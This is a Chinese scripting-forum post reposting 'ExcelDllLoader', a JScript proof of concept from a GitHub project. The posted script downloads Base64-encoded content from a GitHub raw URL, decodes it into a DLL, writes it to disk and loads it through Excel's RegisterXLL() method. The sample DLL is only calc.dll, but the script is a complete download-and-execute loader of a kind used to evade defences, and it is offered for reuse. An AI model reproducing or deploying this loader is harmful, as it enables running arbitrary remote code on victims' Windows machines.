[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[转载代码] ExcelDllLoader

https://github.com/3gstudent/ExcelDllLoader

Execute DLL via the Excel.Application object's RegisterXLL() method

ExcelDllLoader.js:

Check if Microsoft Office has been installed
Download the dll from Github
Save the dll to %appdata%\Microsoft\Windows\Recent
Load it via the Excel.Application object's RegisterXLL() method
ExcelDllLoader(Base64decode).js:

Download the Base64 encoded text from Github
Base64 decoded and get the calc.dll
Save the dll to c:\test\calc.dll
Load it via the Excel.Application object's RegisterXLL() method



ExcelDllLoader(Base64decode).js:
  1. x="c:\\test\\calc.dll";
  2. h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  3. h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);
  4. h.Send();
  5. enc=new ActiveXObject("System.Text.ASCIIEncoding");
  6. length=enc.GetByteCount_2(h.ResponseText);
  7. ba=enc.GetBytes_4(h.ResponseText);
  8. transform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
  9. ba=transform.TransformFinalBlock(ba,0,length);
  10. s=new ActiveXObject("ADODB.Stream");
  11. s.Type=1;
  12. s.Open();
  13. s.Write(ba);
  14. s.SaveToFile(x,2);
  15. new ActiveXObject("Excel.Application").RegisterXLL(x);
复制代码
1

评分人数

    • a2002: 感谢分享技术 + 1
去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

返回列表